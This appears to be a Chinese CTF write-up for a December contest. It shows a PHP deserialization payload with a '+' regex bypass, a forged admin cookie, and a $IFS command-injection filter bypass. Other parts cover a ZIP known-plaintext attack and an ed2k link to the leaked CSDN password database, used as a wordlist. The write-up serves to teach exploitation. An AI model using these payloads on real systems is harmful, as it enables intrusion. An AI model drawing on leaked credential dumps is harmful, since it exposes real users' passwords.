安恒杯12月月赛解题报告

WEB

easy

  • 题目描述
<?php  
@error_reporting(1); //会返回当前的错误报告级别
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) //检测变量是否已设置并且非 NULL
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))  //file_get_contents — 将整个文件读入一个字符串,返回文件内容或者在失败时返回 FALSE.     
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);  //$matches填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>
  • 考点

    1. WEB序列化知识
    2. 基础正则绕过
    3. 序列化读文件
  • 解题步骤
    1.阅读源码,发现关键匹配函数

preg_match('/[oc]:\d+:/i',$data,$matches);

说明:[ 符号标记一个中括号表达式的开始,表达式的结尾处的不区分大小写 i 标记指定不区分大小写。
匹配规则:匹配了[oc]:
绕过匹配参考资料:https://blog.spoock.com/2016/11/03/php-wakeup/

所以只需要只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

但如果直接传值的话会,服务器接收到+号会被自动解码为空格,所以要对加号url编码:

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

访问:
即可得到flag:http://101.71.29.5:10007/index.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

flag.png

  • exp
<?php
class baby
{
    public $file='./flag.php';
}
$a = new baby();
//echo serialize($a);
echo urlencode('O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}');
  • 补充:

当对一个对象序列化时,php就会调用__sleep方法(如果存在的话),在反序列化时,php就会调用__wakeup方法(如果存在的话),以此可以判断是否序列化成功
魔术方法__sleep(),__wakeup() - kacha886 - 博客园 https://www.cnblogs.com/kacha886/p/9115503.html
特别注意php7和php5的区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。

<?php
class baby
{
    public $file='./flag.php';
    function __wakeup(){
        echo 'Hello';
    }
}
$a = new baby();
$b=serialize($a);
$b='O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}';
unserialize($b);

WEB2

  • 解题步骤

    扫一下目录,发现了一个admin.php,但是进去却回显You are not admin...,同时访问发现cookie中存在user项,然后解码base64 ,发现是user ,于是构造admin的base64 编码
    请求头.png

    替换进入管理员页面:
    admin.png

    进入后台,应该是个命令执行漏洞,但是过滤了很多符号:
    ls命令.png

    发现通过命令cat<admin.php可以读取文件:
    cat<admin.php.png

    尝试读取源代码如下:
  • admin.php
<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
    die("You are not admin...");
}
if (@$_POST['cmd']) {
    $cmd = waf_exec($_POST['cmd']);
    $retval = array();
    exec($cmd, $retval, $status);
    // var_dump($retval);
    if ($status == 0) {
        $res = implode("\n",$retval);
    }else{
        $res = 'error';
    }
}else{
    $res = '';
}

include './templates/admin.html';
  • config.php
<?php
session_start();

function waf_exec($str){
    $black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
        $str = preg_replace($black_str, "",$str);
        return $str;
    }

解题关键是如何绕过这个黑名单去读到flag,这里过滤了;&>{}%#?!@+还有空格都过滤了,但是$以及/都没被过滤,可以很好地执行命令,使用$IFS绕过空格,然后可以使用ls$IFS/查看上一级目录,最终cat$IFS/ffLAG_404命令得到flag

flag.png

知识点补充:
1.cookie和session :http://www.k0rz3n.com/2017/07/30/cookie/
2.bash命令执行常见绕过:https://www.jianshu.com/p/000a4ad1b933

MISC

签到题

  • 解题步骤
    按照提示回复关键词即可


    签到题.png

JUJU

  • 题目描述


    image.png
  • 解题步骤
  1. 题目中提到11只juju,但是实际只有7只
    JUJU.png

    因此考虑图片显示不完全,16进制打开,修改长宽,02 38 改为04 38 显示完全
    winhex.png

    image.png

    得到字符串MZWGCZ33GQZTQMTEM5SGMMTEPU======,其中6等于号特征推测为base32(等于号在base编码中是补位的作用)
    通过解码得到flag:a213072327f762855e475779eb081ca3

学习资料

  • 解题步骤
  1. 附件有两个,且其中一个和压缩文件中同名
  2. 压缩文件存在密码,考虑明文攻击


    image.png
  3. 压缩后crc32一致,可以进行明文攻击,使用AZPR进行破解,拿到压缩密码:1qazmko098
    image.png

特别说明:有些没爆破出来可能是用ARCHPR4.5.4进行的爆破,该版本进行明文攻击会有问题,建议使用ARCHPR4.5.3 ,另外使用不同的压缩软件压缩备忘录.txt也会导致最后无法找到明文

4.解压打开word,发现没啥东西,但是想到题目描述学习资料下的真实的东西,可能在图片下;移除图片还是没东西,考虑word的字符串设置了隐藏,因此在word设置中,勾线显示隐藏字符串即可看到flag
Word.png

flag.png

也可以把docx的改后缀为zip,解压后在/word/document.xml里可见flag.

参考资料:CTF中压缩包解密的几种常见方式 - blus - CSDN博客 https://blog.csdn.net/q851579181q/article/details/84944900
ZIP明文攻击获得加密压缩包内文件_百度经验 https://jingyan.baidu.com/article/0f5fb0990bba086d8334eaf6.html
破解压缩包的几种方式(zip伪加密 爆破 CRC32碰撞 已知明文攻击) - 淚笑 - 博客园 https://www.cnblogs.com/leixiao-/p/9824557.html

变换的指纹

下载到社工库:ed2k://|file|www.csdn.net.sql|287238395|7C81CC2A2B57411BD107ACFF2BA8DDEE|/
提取密码进行爆破,正确密码是双引号中的内容:“!(()!@)6125dou ”,注意密码结尾有个空格。

指纹.gif

通过图片获得字符串:
23685 28276158 52365 72716835687172857481317
23685528276158852365572716835687172857481317
因为提示8进制:
[23,70,55,30,27,61,60,105,23,65,57,27,16,103,56,107,17,30,57,50,13,17]
后面还差一步,未完待续

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,053评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,527评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,779评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,685评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,699评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,609评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,989评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,654评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,890评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,634评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,716评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,394评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,976评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,950评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,191评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,849评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,458评论 2 342

推荐阅读更多精彩内容

  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,492评论 0 2
  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,362评论 0 5
  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 4,726评论 0 9
  • 01 先看国家盛衰 美国为什么选择在2018年末对华为下手?因为它已经无法面对正在形成的崭新国际经济格局,华为一旦...
    仁道中年的大叔阅读 306评论 0 0
  • 剑无名发出一声轻叹,离开了大荒城,这座屹立十万大山之中的城市。剑无名抬头望向天空,不知何去何从。狐族老祖名唤白...
    池灬鱼阅读 405评论 0 0